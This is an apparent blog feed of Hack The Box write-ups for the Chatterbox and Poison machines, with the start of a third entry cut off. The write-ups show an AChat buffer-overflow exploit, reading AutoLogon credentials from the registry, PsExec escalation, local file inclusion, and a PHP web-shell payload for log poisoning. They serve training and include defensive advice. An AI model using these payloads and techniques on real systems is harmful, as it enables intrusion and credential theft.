<p><strong>Objective:</strong><br />Chatterbox is a Windows-based Hack The Box machine that exposes several typical Windows networking services along with an unusual chat application running on a non-standard port. The goal is to enumerate exposed services, identify potential vulnerabilities in the running software, gain an initial foothold on the system, and ultimately escalate privileges to obtain full administrative access.</p>
<h3>Tools Used</h3>
<ul>
<li><p>Rustscan- Port scanning</p>
</li>
<li><p>Nmap - Port scanning</p>
</li>
<li><p>NetExec (nxc) - Enumeration</p>
</li>
<li><p>Searchsploit - Enumeration</p>
</li>
<li><p>Metasploit - Exploitation</p>
</li>
<li><p>Impacket (PsExec) - Post exploitation shell</p>
</li>
</ul>
<h1>2. Enumeration</h1>
<h3>Initial Scanning</h3>
<p>As always, I began the engagement with an Nmap scan to identify open ports and running services on the target machine.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3bf5a541-b175-461a-864c-2a26f3a41c51.png" alt="" style="display:block;margin:0 auto" />

<p>The scan revealed several Windows services along with a web interface tied to a chat application.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5d21c0a7-fda5-4fee-bbf1-0aed0b295dfa.png" alt="" style="display:block;margin:0 auto" />

<h3>Key Observations</h3>
<ul>
<li><p><strong>Ports 135, 139, and 445</strong> confirmed standard <strong>RPC/SMB services</strong></p>
</li>
<li><p>The system is running Windows 7 Professional SP1</p>
</li>
<li><p>A <strong>custom AChat service</strong> is exposed on:</p>
<ul>
<li><p><strong>9255 (HTTP)</strong></p>
</li>
<li><p><strong>9256 (AChat service port)</strong></p>
</li>
</ul>
</li>
<li><p>The HTTP service did not return a functional web app—just a server identifier</p>
</li>
</ul>
<h3>SMB Enumeration</h3>
<p>I attempted anonymous SMB enumeration using NetExec:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1093226-0fc5-443b-963c-7fd128b11d98.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">nxc smb &lt;target&gt; -u '' -p '' --shares
</code></pre>
<p>This resulted in:</p>
<ul>
<li><p><strong>Access Denied</strong></p>
</li>
<li><p>No share enumeration possible</p>
</li>
</ul>
<p>This indicated that <strong>anonymous access was not allowed</strong>, so SMB was not immediately useful for initial access.</p>
<h2>Service Enumeration (AChat)</h2>
<p>Since SMB didn’t yield results, I shifted focus to the <strong>AChat service</strong>, which stood out as:</p>
<ul>
<li><p>Non-standard</p>
</li>
<li><p>Likely custom or third-party software</p>
</li>
<li><p>High probability of known vulnerabilities</p>
</li>
</ul>
<p>Interacting with the HTTP service only returned the server banner:</p>
<pre><code class="language-plaintext">AChat chat system httpd
</code></pre>
<p>No additional functionality was exposed, reinforcing that this was not meant for browser interaction.</p>
<h2>Vulnerability Research</h2>
<p>I used Searchsploit to look for known vulnerabilities:</p>
<pre><code class="language-plaintext">searchsploit achat
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b59c29de-1872-439d-8230-18ace2f319a4.png" alt="" style="display:block;margin:0 auto" />

<p>This revealed:</p>
<ul>
<li><p><strong>AChat 0.150 beta7 - Remote Buffer Overflow</strong></p>
</li>
<li><p>Metasploit module available:</p>
<ul>
<li><code>windows/misc/achat_bof</code></li>
</ul>
</li>
</ul>
<p>At this point, this was clearly the most promising attack vector.</p>
<h1>3. Exploitation</h1>
<h2>Foothold</h2>
<p>I used the Metasploit module targeting the AChat buffer overflow:</p>
<p>This successfully triggered the vulnerability and resulted in a reverse shell:</p>
<h2>Shell Access</h2>
<p>After gaining access, I verified my context:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bfd3775a-c8ec-42e3-b14a-dba343113bf3.png" alt="" style="display:block;margin:0 auto" />

<p>Output:</p>
<pre><code class="language-plaintext">chatterbox\alfred
</code></pre>
<p>This confirmed I had a low-privileged user shell.</p>
<h1>4. Privilege Escalation</h1>
<h2>Initial Local Enumeration</h2>
<p>Following my standard Windows privilege escalation methodology:</p>
<h3>Step 1: Enumerate Users</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc0867f2-4490-4a3d-9bce-f6937cace53d.png" alt="" style="display:block;margin:0 auto" />

<p>Discovered users:</p>
<ul>
<li><p><strong>Administrator</strong></p>
</li>
<li><p><strong>Alfred (current user)</strong></p>
</li>
</ul>
<p>This confirmed a simple environment with a clear escalation target.</p>
<h2>User Context</h2>
<pre><code class="language-plaintext">whoami
</code></pre>
<pre><code class="language-plaintext">chatterbox\alfred
</code></pre>
<h2>Privilege Escalation Path</h2>
<h3>Step 2: Check for AutoLogon Credentials</h3>
<p>I queried the Winlogon registry key:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/889d8d48-6b88-4396-a42a-bd49b14e57e0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
</code></pre>
<p>This revealed:</p>
<ul>
<li><p><code>DefaultUserName: Alfred</code></p>
</li>
<li><p><code>AutoAdminLogon: 1</code></p>
</li>
<li><p><code>DefaultPassword: Welcome1!</code></p>
</li>
</ul>
<p>This is a classic misconfiguration where credentials are stored in plaintext in the registry.</p>
<h2>Root/System Access</h2>
<p>Using the recovered credentials, I leveraged Impacket’s PsExec:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bd3ae6f1-3cdd-4263-b80c-b1efcbd1b38e.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">impacket-psexec administrator@&lt;target&gt;
</code></pre>
<p>After authentication, I obtained a SYSTEM shell:</p>
<pre><code class="language-plaintext">whoami
</code></pre>
<pre><code class="language-plaintext">nt authority\system
</code></pre>
<p>This completed the privilege escalation.</p>
<h1>5. Lessons Learned</h1>
<h3>Key Takeaways</h3>
<ol>
<li><p>Always prioritize <strong>non-standard services</strong> during enumeration</p>
<ul>
<li>The AChat service was the intended entry point and immediately exploitable</li>
</ul>
</li>
<li><p>Vulnerability research is critical</p>
<ul>
<li>A simple <code>searchsploit</code> search led directly to a working exploit</li>
</ul>
</li>
<li><p>Don’t rely solely on SMB enumeration</p>
<ul>
<li>Even when SMB fails, other services may provide easier access</li>
</ul>
</li>
<li><p>Always follow a structured privesc methodology</p>
<ul>
<li>Systematically checking registry keys led directly to credentials</li>
</ul>
</li>
<li><p>AutoLogon credentials are extremely dangerous</p>
<ul>
<li>Storing plaintext passwords in the registry is effectively handing over admin access</li>
</ul>
</li>
</ol>
<h3>Attacker Insights</h3>
<ul>
<li><p>Buffer overflow vulnerabilities in legacy applications remain a <strong>high-value attack vector</strong></p>
</li>
<li><p>Windows registry misconfigurations are often <strong>low-effort, high-reward escalation paths</strong></p>
</li>
<li><p>Combining <strong>public exploits + poor credential storage</strong> leads to rapid compromise</p>
</li>
</ul>
<h1>6. Defensive Insight</h1>
<h3>Hardening Opportunities</h3>
<ul>
<li><p>Remove or patch vulnerable software like AChat</p>
</li>
<li><p>Disable <strong>AutoAdminLogon</strong></p>
</li>
<li><p>Never store plaintext credentials in the registry</p>
</li>
<li><p>Restrict unnecessary services and ports</p>
</li>
</ul>
<h3>Detection Opportunities</h3>
<ul>
<li><p>Monitor for:</p>
<ul>
<li><p>Unusual connections to uncommon ports (9255/9256)</p>
</li>
<li><p>Exploit signatures targeting known vulnerable services</p>
</li>
</ul>
</li>
<li><p>Alert on:</p>
<ul>
<li><p>Registry queries involving Winlogon keys</p>
</li>
<li><p>Use of administrative tools like PsExec</p>
</li>
</ul>
</li>
</ul>
<h3>Preventive Controls</h3>
<ul>
<li><p>Enforce <strong>secure credential storage policies</strong></p>
</li>
<li><p>Apply regular patching and vulnerability management</p>
</li>
<li><p>Limit administrative access and enforce least privilege</p>
</li>
<li><p>Use EDR solutions to detect exploitation behavior</p>
</li>
</ul>
<h1>Useful Commands</h1>
<h3>Enumeration Commands</h3>
<pre><code class="language-plaintext">nmap -sC -sV &lt;target&gt;
nxc smb &lt;target&gt; -u '' -p '' --shares
searchsploit achat
</code></pre>
<h3>Exploitation Commands</h3>
<pre><code class="language-plaintext">use exploit/windows/misc/achat_bof
run
</code></pre>
<h3>Privilege Escalation Commands</h3>
<pre><code class="language-plaintext">whoami
cd C:\Users
dir

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
</code></pre>
<pre><code class="language-plaintext">impacket-psexec administrator@&lt;target&gt;
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #10 
HTB Write-Up Poison]]></title><description><![CDATA[1. Target Overview
Machine Name: PoisonPlatform: HackTheBoxOperating System: FreeBSDTarget IP:Objective:
This target appears to expose a FreeBSD-based system hosted on HackTheBox. The goal of the enga]]></description><link>https://www.hack2harden.com/oscp-prep-10-htb-write-up-poison</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-10-htb-write-up-poison</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Mon, 16 Mar 2026 08:58:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c4dfe29c-4813-4c4d-8c8d-219f8b348953.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Poison<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> FreeBSD<br /><strong>Target IP:</strong><br /><strong>Objective:</strong></p>
<p>This target appears to expose a FreeBSD-based system hosted on HackTheBox. The goal of the engagement is to perform enumeration, identify attack vectors, gain an initial foothold on the system, and ultimately escalate privileges to obtain full administrative control of the machine. Initial reconnaissance indicates a relatively small attack surface, suggesting the exploitation path will likely rely on careful service enumeration rather than broad network exposure.</p>
<hr />
<h1>2. Enumeration</h1>
<h3>Network Enumeration</h3>
<p>As always, I began the engagement with a standard <strong>Nmap service and version scan</strong> to identify exposed services on the target system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b1080adf-4cfe-4381-a6d6-0abfc4be7b23.png" alt="" style="display:block;margin:0 auto" />

<p>The scan revealed <strong>two open ports</strong>, indicating a fairly limited attack surface.</p>
<p><strong>Open Ports Identified</strong></p>
<table>
<thead>
<tr>
<th>Port</th>
<th>Service</th>
<th>Version</th>
</tr>
</thead>
<tbody><tr>
<td>22</td>
<td>SSH</td>
<td>OpenSSH 7.2 (FreeBSD)</td>
</tr>
<tr>
<td>80</td>
<td>HTTP</td>
<td>Apache httpd 2.4.29 (FreeBSD) running PHP 5.6.32</td>
</tr>
</tbody></table>
<p>The SSH service appears to be a standard <strong>OpenSSH implementation on FreeBSD</strong>, which typically requires valid credentials and therefore does not present an immediate attack vector during early enumeration.</p>
<p>The more interesting discovery is <strong>port 80</strong>, which is hosting an <strong>Apache web server running PHP</strong>. Web applications frequently expose misconfigurations or vulnerable functionality, making them a strong candidate for initial exploitation.</p>
<p>Given the limited number of exposed services, I decided to <strong>prioritize enumeration of the web application running on port 80</strong> as the most promising entry point.</p>
<h3>Service Enumeration</h3>
<p>The Nmap service detection confirms the following details about the web service:</p>
<ul>
<li><p><strong>Apache httpd 2.4.29</strong></p>
</li>
<li><p><strong>PHP 5.6.32</strong></p>
</li>
<li><p><strong>Operating System: FreeBSD</strong></p>
</li>
</ul>
<p>The presence of PHP suggests that the site likely contains dynamic server-side functionality.</p>
<h3>Web Enumeration</h3>
<p>Upon visiting the web application at the root page, I was presented with a very simple interface designed to test local PHP scripts.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5192ffa0-c670-4d74-a8ed-bb9c668bf343.png" alt="" style="display:block;margin:0 auto" />

<p>The page displayed several available scripts that could be executed through the application:</p>
<p>The interface contained a field labeled <strong>"<strong>Scriptname</strong>"</strong> to load from the available scripts, the most interesting of which was a script called listfiles.php. I used this file to test and see what would be returned.</p>
<p>Submitting the request loaded a page that returned a directory listing from the web root, showing the following files:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c57d6828-85e8-4a1d-a869-1fdd57133714.png" alt="" style="display:block;margin:0 auto" />

<p>One file immediately stood out:</p>
<pre><code class="language-plaintext">pwdbackup.txt
</code></pre>
<p>The name strongly suggested the presence of <strong>credential data or a password backup</strong>, making it a high-value target.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/61ef7a02-3916-4e34-9060-4f650512fdb5.png" alt="" style="display:block;margin:0 auto" />

<p>Navigating directly to the file through the browser revealed a long encoded string along with a message:</p>
<blockquote>
<p>"This password is secure, it's encoded atleast 13 times, what could go wrong really."</p>
</blockquote>
<p>The content appeared to be Base64 encoded data, and the message implied the string had been encoded multiple times.</p>
<p>Given this hint, the logical next step was to decode the string repeatedly to reveal the underlying credential.</p>
<p>so I wrote a quick loop in Bash to repeatedly decode it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a09136e8-9dea-4324-990f-fb4111b7af56.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">data=\((cat pass.b64); for i in {1..13}; do data=\)(echo \(data | tr -d ' ' | base64 -d); done; echo \)data
</code></pre>
<p>After the decoding process completed, the final output revealed the credential:</p>
<pre><code class="language-plaintext">Charix!2#4%68&amp;()
</code></pre>
<p>At this point I had successfully recovered a plaintext password. Since <strong>SSH is exposed on port 22</strong>, this credential could potentially be used to gain shell access.</p>
<p>However, I still did not have a valid username associated with this password. Rather than blindly guessing usernames against SSH, I decided the smarter approach was to continue enumerating the web application on port 80 to try to identify a user account that might correspond to this credential.</p>
<p>Earlier when exploring the test page, I noticed something important about how the application loaded scripts.</p>
<p>The request generated by the page looked like this:</p>
<pre><code class="language-plaintext">browse.php?file=listfiles.php
</code></pre>
<p>The value of the <code>file</code> parameter was directly controlling which file the server attempted to load. Whenever a web application allows a user-supplied parameter to reference files on the system, it immediately becomes a prime candidate for a Local File Inclusion (LFI) vulnerability.</p>
<p>To test whether the parameter was vulnerable, I attempted to access a well-known system file:</p>
<p>The server returned the contents of the <code>/etc/passwd</code> file, confirming that the application was indeed vulnerable to <strong>Local File Inclusion</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/205b2583-744c-49f1-8925-f20b021d35df.png" alt="" style="display:block;margin:0 auto" />

<p>The output revealed the list of system users on the machine.</p>
<p>After confirming the Local File Inclusion vulnerability by successfully retrieving <code>/etc/passwd</code>, I downloaded the returned file locally so I could analyze it more easily.</p>
<p>Rather than manually scanning through the entire file, I filtered the results to identify accounts that actually had interactive shells, since those are the only users that can realistically be used for SSH access.</p>
<p>I did this with the following command:</p>
<pre><code class="language-plaintext">cat user.txt | grep "sh$"
</code></pre>
<p>This filters for lines ending in <code>sh</code>, which typically indicates a valid login shell such as <code>/bin/sh</code>, <code>/bin/bash</code>, or <code>/bin/csh</code>.</p>
<p>The output revealed only two users on the system with interactive shells:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/219887cd-8a2b-4972-8204-d51ef42df8c3.png" alt="" style="display:block;margin:0 auto" />

<p>This significantly narrowed the potential login targets. Since the <code>root</code> account typically cannot be accessed directly over SSH in most configurations, the most realistic user to target was <code>charix</code>.</p>
<p>Earlier during enumeration, I had already recovered a password from the encoded backup file:</p>
<pre><code class="language-plaintext">Charix!2#4%68&amp;()
</code></pre>
<p>At this point I had a strong candidate credential pair:</p>
<pre><code class="language-plaintext">Username: charix
Password: Charix!2#4%68&amp;()
</code></pre>
<p>With SSH exposed on port 22, the next logical step was to attempt authentication using these credentials to obtain an initial shell on the system.</p>
<h1>3. Exploitation</h1>
<h3>Initial Access</h3>
<p>Using the credentials discovered during enumeration, I attempted to authenticate to the target system via SSH.</p>
<pre><code class="language-plaintext">ssh charix@10.129.1.254
</code></pre>
<p>After supplying the recovered password, authentication succeeded and I obtained a shell as the <strong>charix</strong> user.</p>
<pre><code class="language-plaintext">charix@Poison:~ %
</code></pre>
<p>The login banner confirmed the system was running:</p>
<pre><code class="language-plaintext">FreeBSD 11.1-RELEASE
</code></pre>
<p>At this stage I had successfully achieved <strong>initial access to the target system</strong> as a low-privileged user, allowing me to begin local enumeration in search of a privilege escalation path.</p>
<h1>4. Privilege Escalation</h1>
<h3>Shell Stabilization</h3>
<p>After obtaining an initial shell as <strong>charix</strong>, I began following my Linux privilege escalation methodology.</p>
<p>The first step is always to verify the execution context and confirm the user privileges.</p>
<pre><code class="language-plaintext">whoami
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">charix
</code></pre>
<p>Next, I checked the user’s UID and group memberships.</p>
<pre><code class="language-plaintext">id
</code></pre>
<p>This confirms the user context and sometimes reveals membership in privileged groups that may allow privilege escalation.</p>
<p>I then checked whether the user could execute any commands with elevated privileges through <strong>sudo</strong>.</p>
<pre><code class="language-plaintext">sudo -l
</code></pre>
<p>No useful sudo privileges were returned for this user, so there was no immediate privilege escalation path through sudo.</p>
<hr />
<h3>System Enumeration</h3>
<p>Following my privilege escalation checklist, the next step was to inspect the <strong>user’s home directory</strong> for interesting files.</p>
<p>While listing the contents of the directory, I discovered the following archive:</p>
<pre><code class="language-plaintext">secret.zip
</code></pre>
<p>I extracted the archive to inspect its contents.</p>
<pre><code class="language-plaintext">unzip secret.zip
</code></pre>
<p>The archive contained a file named:</p>
<pre><code class="language-plaintext">secret
</code></pre>
<p>Running the <code>file</code> command revealed the following:</p>
<pre><code class="language-plaintext">file secret
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">secret: Non-ISO extended-ASCII text, with no line terminators
</code></pre>
<p>To better understand the file’s contents, I examined the raw bytes.</p>
<pre><code class="language-plaintext">cat secret | hexdump -C
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">00000000  bd a8 5b 7c d5 96 7a 21
</code></pre>
<p>The file appeared to contain <strong>binary data rather than readable text</strong>, which suggested it might represent some type of authentication token or encoded value. Since it was not immediately clear how the file would be used, I continued enumerating the system.</p>
<p>Next, I checked for services listening on the host using <code>netstat</code> to identify anything bound only to localhost.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0eaa5778-a2cc-4288-b6fe-941a3b4a3187.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">netstat -an -p tcp
</code></pre>
<p>The results revealed several listening services. Most notably, I observed the following ports bound only to <strong>localhost</strong>:</p>
<pre><code class="language-plaintext">127.0.0.1:5801
127.0.0.1:5901
</code></pre>
<p>Ports in the 5800–5900 range are commonly associated with <strong>VNC (Virtual Network Computing)</strong> services used for remote graphical desktop access.</p>
<p>To confirm which process was responsible for these ports, I inspected the process list.</p>
<pre><code class="language-plaintext">ps -auwwx | grep vnc
</code></pre>
<p>This revealed the following process running under the <strong>root</strong> user:</p>
<pre><code class="language-plaintext">root  529  0.0  0.9 23620 9036 v0- I  12:54  0:00.07  Xvnc :1 -desktop
</code></pre>
<p>This confirmed that a <strong>VNC server was running as root</strong>, but it was only accessible locally.</p>
<hr />
<h3>Privilege Escalation Vector</h3>
<p>The presence of the <strong>Xvnc process running as root</strong> suggested a potential escalation path.</p>
<p>Xvnc is part of the <strong>X Window System</strong>, which provides graphical desktop functionality on Unix-like systems. Authentication for X sessions is typically handled through <strong>Xauthority cookies</strong>, which are secret tokens used to authenticate clients connecting to the graphical server.</p>
<p>These cookies are often stored as <strong>binary values</strong>, which immediately reminded me of the mysterious binary file discovered earlier in <code>secret.zip</code>.</p>
<p>This strongly suggested that the extracted file might contain the <strong>authentication token required to access the root VNC session</strong>.</p>
<p>Since the service was bound only to localhost, I created an SSH tunnel to forward the VNC port to my local machine.</p>
<pre><code class="language-plaintext">ssh -L 5901:127.0.0.1:5901 charix@10.129.1.254
</code></pre>
<p>This allowed me to access the VNC service running on the target machine.</p>
<p>Using the authentication token from the extracted file, I attempted to connect to the VNC session.</p>
<p>The attempt was successful and granted access to the <strong>root user’s graphical desktop session</strong>.</p>
<hr />
<h3>Root Access</h3>
<p>Once connected to the VNC desktop session, I opened a terminal window and confirmed my privileges.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/08a79c01-6c7e-461d-85d3-bd9279d38e57.png" alt="" style="display:block;margin:0 auto" />

<p>At this point I had successfully escalated privileges and obtained <strong>full root access on the system</strong>.</p>
<h1>5. Lessons Learned</h1>
<h4>Key Takeaways</h4>
<ol>
<li><p><strong>Thoroughly test every piece of functionality exposed by a web application</strong></p>
<p>One of the biggest lessons from this machine was the importance of <strong>fully interacting with every feature exposed by a web application</strong>. The page we encountered was designed to test local PHP scripts and listed multiple scripts that could be executed. If I had only tested the first script and moved on, I never would have discovered the <code>pwdbackup.txt</code> file. Carefully testing each script and observing the results ultimately revealed the encoded credential that started the attack chain.</p>
</li>
<li><p><strong>Pay close attention to the structure of web requests</strong></p>
<p>During testing I noticed that the application passed filenames through a query string parameter. Anytime you see <strong>parameters, file paths, or dynamic values in a request</strong>, it should immediately raise suspicion because those inputs are often attacker-controlled. Observing how the application constructed requests like:</p>
<pre><code class="language-plaintext">browse.php?file=listfiles.php
</code></pre>
<p>revealed that the <code>file</code> parameter directly controlled which file the application loaded. Testing that parameter led directly to a <strong>Local File Inclusion vulnerability</strong>, which allowed me to retrieve <code>/etc/passwd</code> and identify valid system users.</p>
</li>
<li><p><strong>Local File Inclusion can lead to Remote Code Execution through log poisoning</strong></p>
<p>Another important concept I learned from this machine was <strong>log poisoning as a method of turning LFI into Remote Code Execution</strong>.</p>
<p>Once an LFI vulnerability is confirmed, the next step is to determine <strong>where server logs are stored</strong>, since logs often contain user-controlled data.</p>
<p>On Apache systems this information can often be found in the Apache configuration file:</p>
<pre><code class="language-plaintext">/usr/local/etc/apache24/httpd.conf
</code></pre>
<p>Reviewing this file revealed that the Apache access logs were stored at:</p>
<pre><code class="language-plaintext">/var/log/httpd-access.log
</code></pre>
<p>The key trick here is understanding that <strong>certain values from every request made to the server are written directly into the access log</strong>, including HTTP headers.</p>
<p>Using Burp Suite, it is possible to modify a request and place a <strong>PHP web shell inside a header field</strong>, commonly the <strong>User-Agent header</strong>.</p>
<p>For example:</p>
<pre><code class="language-plaintext">&lt;?php system($_GET['cmd']); ?&gt;
</code></pre>
<p>When the request is sent, this payload becomes written into the Apache access log. Because the application already allowed Local File Inclusion, I could then request the log file through the LFI vulnerability. When the log file is included by PHP, the injected code executes, giving remote command execution.</p>
<p>This demonstrated how <strong>LFI vulnerabilities can often be escalated to full code execution if logs or other writable files can be included</strong>.</p>
</li>
<li><p><strong>Checking the user’s home directory can reveal important artifacts</strong></p>
<p>During local enumeration, inspecting the user’s home directory revealed the file <code>secret.zip</code>. Even though the binary file extracted from it initially looked meaningless, it ultimately turned out to be the <strong>authentication token needed to access the root VNC session</strong>.</p>
<p>This reinforces why <strong>checking a user's home directory early in privilege escalation is critical</strong>, since users frequently leave behind backups, credentials, or other sensitive files.</p>
</li>
<li><p><strong>Enumerating local services can reveal hidden attack surfaces</strong></p>
<p>Using <code>netstat</code> revealed services listening only on <strong>localhost</strong>, including ports <strong>5801 and 5901</strong>, which are commonly associated with <strong>VNC (Virtual Network Computing)</strong>.</p>
<p>These services would not have been visible externally during the initial Nmap scan, but once a foothold was obtained they became visible and ultimately led to the privilege escalation path.</p>
</li>
<li><p><strong>Understanding VNC and X Window authentication mechanisms</strong></p>
<p>This machine introduced me to <strong>VNC services and the X Window system</strong>, which were new concepts for me. X Window uses <strong>authentication cookies</strong> to allow clients to connect to graphical sessions. The seemingly random binary file extracted from <code>secret.zip</code> was actually the authentication token required to connect to the running Xvnc session. Recognizing how this authentication mechanism worked made it possible to connect to the root graphical session and obtain full system access.</p>
</li>
<li><p><strong>Knowing common configuration file locations is extremely useful</strong></p>
<p>Another takeaway from this box is the importance of knowing where important configuration files typically live. For Apache on FreeBSD systems, the configuration file is commonly located at:</p>
<pre><code class="language-plaintext">/usr/local/etc/apache24/httpd.conf
</code></pre>
<p>Understanding where these files are stored makes it much easier to locate useful information such as log file locations, virtual host configurations, and other security-relevant settings.</p>
</li>
<li><p><strong>Learning operational skills like secure file transfer is valuable</strong></p>
<p>During the process I also reinforced the usefulness of tools like <code>scp</code> for transferring files between the attacker machine and the target system. Being able to quickly move files off a target for analysis or upload tools when necessary is an important operational skill during penetration testing.</p>
</li>
</ol>
<h1>6. Defensive Insight</h1>
<h4>Security Improvements</h4>
<ol>
<li><p><strong>Avoid exposing internal development utilities on production systems</strong></p>
<p>The web application on this system appeared to be a <strong>temporary script testing interface</strong> used for executing local PHP scripts. Development utilities like this should never be exposed on publicly accessible systems. These tools often assume trusted input and can introduce serious vulnerabilities when exposed to untrusted users. In this case, the testing interface directly allowed users to load scripts from the server, which ultimately led to a Local File Inclusion vulnerability.</p>
</li>
<li><p><strong>Validate and sanitize all user-controlled file inputs</strong></p>
<p>The application accepted a user-controlled parameter that directly referenced files on the server:</p>
<pre><code class="language-plaintext">browse.php?file=&lt;filename&gt;
</code></pre>
<p>Because the parameter was not properly validated, it allowed arbitrary file inclusion. Proper defenses should include:</p>
<ul>
<li><p><strong>Whitelisting allowed files</strong></p>
</li>
<li><p><strong>Rejecting absolute file paths</strong></p>
</li>
<li><p><strong>Restricting directory traversal</strong></p>
</li>
<li><p><strong>Avoiding dynamic file inclusion whenever possible</strong></p>
</li>
</ul>
<p>Implementing strict input validation would have prevented attackers from requesting sensitive files such as <code>/etc/passwd</code>.</p>
</li>
<li><p><strong>Sensitive files should never be stored in the web root</strong></p>
<p>The file <code>pwdbackup.txt</code> containing the encoded password was stored directly inside the web directory and could be accessed by anyone who discovered the path. Even though the password was encoded multiple times, <strong>encoding is not encryption</strong> and provides no real security.</p>
<p>Sensitive data such as password backups or configuration files should never be placed inside publicly accessible directories.</p>
</li>
<li><p><strong>Avoid storing credentials in reversible formats</strong></p>
<p>The password in this case was simply <strong>Base64 encoded multiple times</strong>, which provides no meaningful protection. Any attacker who recognizes the encoding can decode it quickly.</p>
<p>Proper credential storage should involve:</p>
<ul>
<li><p><strong>Strong hashing algorithms</strong> such as bcrypt, scrypt, or Argon2</p>
</li>
<li><p><strong>Salting hashes</strong></p>
</li>
<li><p>Avoiding plaintext or reversible storage entirely</p>
</li>
</ul>
</li>
<li><p><strong>Restrict access to system logs and other sensitive files</strong></p>
<p>Because the application allowed arbitrary file inclusion, attackers could read server logs and other sensitive files. If log files are accessible through application functionality, they can be abused through techniques like <strong>log poisoning</strong>, which may lead to remote code execution.</p>
<p>Applications should ensure log files and other sensitive system resources are <strong>never accessible through user-controlled file paths</strong>.</p>
</li>
<li><p><strong>Restrict internal services to trusted users</strong></p>
<p>The VNC service running on ports <strong>5801 and 5901</strong> was bound only to localhost, which is good practice. However, once an attacker gains a foothold on the system, local-only services can still be abused if additional protections are not in place.</p>
<p>Administrators should ensure that services such as VNC:</p>
<ul>
<li><p>Require strong authentication</p>
</li>
<li><p>Do not run with unnecessary privileges (such as root)</p>
</li>
<li><p>Are protected with additional access controls where possible</p>
</li>
</ul>
</li>
<li><p><strong>Protect X Window authentication tokens</strong></p>
<p>The authentication cookie used by the Xvnc service was stored in a location accessible to a low-privileged user. Because this cookie acts as a trusted authentication token, anyone who obtains it can connect to the graphical session.</p>
<p>Proper security practices should ensure that authentication tokens are <strong>protected with strict file permissions</strong> and are not accessible to unprivileged users.</p>
</li>
<li><p><strong>Regular security audits and configuration reviews</strong></p>
<p>Several misconfigurations combined to create the full attack chain on this system. Regular security reviews of system configurations, file permissions, exposed services, and application behavior could have identified these weaknesses before they were exploited.</p>
<p>Routine security auditing is essential for identifying issues such as:</p>
<ul>
<li><p>Improper file permissions</p>
</li>
<li><p>Exposed development tools</p>
</li>
<li><p>Vulnerable web application functionality</p>
</li>
<li><p>Misconfigured services running with elevated privileges</p>
</li>
</ul>
</li>
</ol>
<h1>Useful Commands</h1>
<p>Below are some of the key commands used during enumeration, exploitation, and privilege escalation throughout the engagement.</p>
<h4>Network Enumeration</h4>
<p>Perform a service and version scan to identify open ports and services on the target.</p>
<pre><code class="language-plaintext">nmap -sC -sV -p- &lt;target-ip&gt;
</code></pre>
<hr />
<h4>Identifying Users with Login Shells</h4>
<p>After retrieving <code>/etc/passwd</code> through the LFI vulnerability, filtering the file helped identify users that actually have interactive shells.</p>
<pre><code class="language-plaintext">cat user.txt | grep "sh$"
</code></pre>
<hr />
<h4>Inspecting Unknown Binary Data</h4>
<p>The extracted file contained raw binary data which can be inspected using <code>hexdump</code>.</p>
<pre><code class="language-plaintext">cat secret | hexdump -C
</code></pre>
<hr />
<h4>Enumerating Listening Services FreeBSD version</h4>
<p>Checking for services bound to localhost can reveal hidden attack surfaces not visible during external scans.</p>
<pre><code class="language-plaintext">netstat -an -p tcp
</code></pre>
<hr />
<h4>Identifying Running Processes FreeBSD version</h4>
<p>This command helps identify which services are responsible for open ports.</p>
<pre><code class="language-plaintext">ps -auwwx
</code></pre>
<hr />
<h4>Creating an SSH Tunnel</h4>
<p>Because the VNC service was only accessible locally, an SSH tunnel was created to forward the port to the attacker machine.</p>
<pre><code class="language-plaintext">ssh -L 5901:127.0.0.1:5901 charix@&lt;target-ip&gt;
</code></pre>
<hr />
<h4>Securely Copying Files from the Target</h4>
<p>Files can be transferred from the target system to the attacker machine using <code>scp</code>.</p>
<pre><code class="language-plaintext">scp charix@&lt;target-ip&gt;:/home/charix/secret.zip .
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #9 
HTB Write-UP Sauna
]]></title><description><![CDATA[1. Target Overview
Machine Name: SaunaPlatform: HTBOperating System: WindowsObjective: Gain initial access to the target, escalate privileges, and fully compromise the Active Directory environment.
